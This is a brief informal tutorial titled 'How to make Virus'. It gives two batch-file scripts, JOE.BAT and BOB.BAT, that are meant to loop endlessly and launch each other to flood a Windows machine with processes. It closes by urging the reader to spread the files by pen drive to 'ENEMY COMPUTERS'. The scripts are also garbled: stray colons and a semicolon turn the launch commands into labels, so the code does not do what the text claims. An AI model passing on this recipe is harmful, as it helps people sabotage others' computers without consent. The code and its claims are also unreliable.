How to make Virus

First Right click on Desktop

Then Select New <--> Text Document

Right click on it and Select Edit an Enter the matter as

:ONE
:start BOB
:GOTO ONE

Save it as JOE.BAT

Then again Select New <--> Text Document

Right click on it and Select Edit and Enter the matter as

:ONE
;START JOE.Bat
:GOTO ONE

Save it as BOB.BAT

Then Copy The Files and Send it by PEN DRIVES to yours ENEMY COMPUTERS